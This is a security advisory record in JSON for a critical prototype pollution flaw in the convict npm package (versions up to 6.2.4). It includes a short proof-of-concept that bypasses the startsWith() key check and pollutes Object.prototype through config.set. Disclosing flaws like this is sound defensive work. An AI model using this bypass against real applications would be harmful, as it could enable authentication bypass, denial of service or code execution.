{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "convict"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33864"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:55:41Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute `Object.prototype` via a crafted input using `String.prototype`. \n\n### Details\nThe vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where `startsWith()` function is used to check whether user provided input contain forbidden strings. \n\n### PoC\n#### Steps to reproduce\n1. Install latest version of convict using `npm install` or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.startsWith = () =\u003e false; \nconst convict = require(\u0027convict\u0027);\nlet obj = {};\nconst config = convict(obj);\nconsole.log({}.polluted);\nconfig.set(\u0027constructor.prototype.polluted\u0027, \u0027yes\u0027);\nconsole.log({}.polluted);    // prints yes -\u003e the patch is bypassed and prototype pollution occurred\n```\n\n#### Expected behavior\nPrototype pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\n`Object.prototype` is polluted \nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using `convict.set`  may be affected.\nIt could potentially lead to the following problems:\n\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)",
  "id": "GHSA-44fc-8fm5-q62h",
  "modified": "2026-03-26T18:55:41Z",
  "published": "2026-03-26T18:55:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/security/advisories/GHSA-44fc-8fm5-q62h"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mozilla/node-convict"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Convict has Prototype Pollution via startsWith() function"
}